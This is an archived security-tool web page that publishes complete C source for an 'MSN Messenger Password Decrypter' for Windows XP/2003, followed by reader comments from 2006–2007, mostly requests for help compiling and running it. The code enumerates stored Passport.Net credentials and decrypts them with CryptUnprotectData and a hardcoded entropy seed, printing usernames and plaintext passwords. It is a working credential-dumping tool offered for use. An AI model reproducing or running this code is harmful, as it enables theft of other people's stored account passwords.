|
Brought to you by:
Suppliers of:
|
|
|
| |
Credit:
The information has been provided by ViPeR.
To keep updated with the tool visit the project's homepage at: http://www.infogreg.com/source-code/gpl/msn-messenger-password-decrypter-for-windows-xp-and-2003.html
|
| |
The following tool will decrypt the MSN password stored by the Windows operating system.
Tool Code:
/*
* MSN Messenger Password Decrypter for Windows XP & 2003
* (Compiled-VC++ 7.0, tested on WinXP SP2, MSN Messenger 7.0)
* - Gregory R. Panakkal
* http://www.crapware.tk/
* http://www.infogreg.com/
*/
#include <windows.h>
#include <wincrypt.h>
#include <stdio.h>
#pragma comment(lib, "Crypt32.lib")
//Following definitions taken from wincred.h
//[available only in Oct 2002 MS Platform SDK /
LCC-Win32 Includes]
typedef struct _CREDENTIAL_ATTRIBUTEA {
LPSTR Keyword;
DWORD Flags;
DWORD ValueSize;
LPBYTE Value;
}
CREDENTIAL_ATTRIBUTEA,*PCREDENTIAL_ATTRIBUTEA;
typedef struct _CREDENTIALA {
DWORD Flags;
DWORD Type;
LPSTR TargetName;
LPSTR Comment;
FILETIME LastWritten;
DWORD CredentialBlobSize;
LPBYTE CredentialBlob;
DWORD Persist;
DWORD AttributeCount;
PCREDENTIAL_ATTRIBUTEA Attributes;
LPSTR TargetAlias;
LPSTR UserName;
} CREDENTIALA,*PCREDENTIALA;
typedef CREDENTIALA CREDENTIAL;
typedef PCREDENTIALA PCREDENTIAL;
////////////////////////////////////////////////////////////////////
typedef BOOL (WINAPI *typeCredEnumerateA)(LPCTSTR,
DWORD, DWORD *, PCREDENTIALA **);
typedef BOOL (WINAPI *typeCredReadA)(LPCTSTR, DWORD,
DWORD, PCREDENTIALA *);
typedef VOID (WINAPI *typeCredFree)(PVOID);
typeCredEnumerateA pfCredEnumerateA;
typeCredReadA pfCredReadA;
typeCredFree pfCredFree;
////////////////////////////////////////////////////////////////////
void showBanner()
{
printf("MSN Messenger Password Decrypter for Windows XP/2003\n");
printf(" - Gregory R. Panakkal, http://www.infogreg.com \n\n");
}
////////////////////////////////////////////////////////////////////
int main()
{
PCREDENTIAL *CredentialCollection = NULL;
DATA_BLOB blobCrypt, blobPlainText, blobEntropy;
//used for filling up blobEntropy
char szEntropyStringSeed[37] = "82BD0E67-9FEA-4748-8672-D5EFE5B779B0"; //credui.dll
short int EntropyData[37];
short int tmp;
HMODULE hDLL;
DWORD Count, i;
showBanner();
//Locate CredEnumerate, CredRead, CredFree from advapi32.dll
if( hDLL = LoadLibrary("advapi32.dll") )
{
pfCredEnumerateA =(typeCredEnumerateA)GetProcAddress(hDLL, "CredEnumerateA");
pfCredReadA = (typeCredReadA)GetProcAddress(hDLL, "CredReadA");
pfCredFree = (typeCredFree)GetProcAddress(hDLL, "CredFree");
if( pfCredEnumerateA == NULL|| pfCredReadA == NULL || pfCredFree == NULL )
{
printf("error!\n");
return -1;
}
}
//Get an array of 'credential', satisfying the filter
pfCredEnumerateA("Passport.Net\\*", 0, &Count, &CredentialCollection);
if( Count ) //usually this value is only 1
{
//Calculate Entropy Data
for(i=0; i<37; i++) // strlen(szEntropyStringSeed) = 37
{
tmp = (short int)szEntropyStringSeed[i];
tmp <<= 2;
EntropyData[i] = tmp;
}
for(i=0; i<Count; i++)
{
blobEntropy.pbData = (BYTE *)&EntropyData;
blobEntropy.cbData = 74; //sizeof(EntropyData)
blobCrypt.pbData = CredentialCollection[i]->CredentialBlob;
blobCrypt.cbData = CredentialCollection[i]->CredentialBlobSize;
CryptUnprotectData(&blobCrypt, NULL, &blobEntropy, NULL, NULL, 1, &blobPlainText);
printf("Username : %s\n", CredentialCollection[i]->UserName);
printf("Password : %ls\n\n", blobPlainText.pbData);
}
}
pfCredFree(CredentialCollection);
}
/* EoF */
|
| Subject:
|
pf code.code.code burax.. |
Date: |
3 Aug. 2006 |
| From: |
burax |
| hey, programmer! this codes was syntax 11 error! :( |
|
| Subject:
|
|
Date: |
25 Aug. 2006 |
| From: |
|
| The code is working perfectly. |
|
| Subject:
|
Compiler |
Date: |
2 Sep. 2006 |
| From: |
Polarstar |
| Can sum1 tell me how to compile this code?? I have turbo c & c ++. will it do |
|
| Subject:
|
Tut Tut |
Date: |
8 Oct. 2006 |
| From: |
21M |
| He didn't write it so he cannot help you. Refer to napalm (the writer) at rohitab.com/discuss if you want help. |
|
| Subject:
|
Error |
Date: |
11 Oct. 2006 |
| From: |
Skelletons |
Switching to target: default
Compiling: trucs.c
Linking console executable: C:\Documents and Settings\***\test.exe
.objs\test.o:test.c:(.text+0x247): undefined reference to `CryptUnprotectData'
collect2: ld returned 1 exit status
Process terminated with status 1 (0 minutes, 1 seconds)
This for me... |
|
| Subject:
|
code compiles fine |
Date: |
30 Jan. 2007 |
| From: |
anonymous |
the author has put the compiler and its version that was used to compile the code.
Visual C++ 7.0 (I guess that it is what came with Visual Studio.NET). |
|
| Subject:
|
multi |
Date: |
7 May 2007 |
| From: |
ghostom998 |
1)is the file extension "e;.cpp"e; or something else? //please state
2)how would you open it? e.g on command prompt, just click it, ect //please state
3)how would u use it when open? e.g type in user name or something very complicated //"e; "e;
(im not as noobish as u think, jus want 2 no the heads up) |
|
| Subject:
|
ISO C forbids decleration of credentials-attributeea and pcredentials-attributeea without decleraton |
Date: |
7 May 2007 |
| From: |
ghostom998 |
| i actually put it on, compiled, ect but had several errors. one was "e;ISO C++ forbids decleration of 'credentials-attributeea' and 'pcredentials-attributeea' without decleraton"e;. infact most of them were "e;undeclared"e; or "e;forbidden"e; and i really want this to work. any suggestions? |
|
| Subject:
|
ISO C forbids decleration of credentials-attributeea and pcredentials-attributeea without decleraton |
Date: |
7 May 2007 |
| From: |
ghostom998 |
| i actually put it on, compiled, etc but had several errors. one was "e;ISO C++ forbids deceleration of 'credentials-attributeea' and 'pcredentials-attributeea' without deceleration"e;. in fact most of them were "e;undeclared"e; or "e;forbidden"e; and i really want this to work. any suggestions? |
|
|
|
|
|
|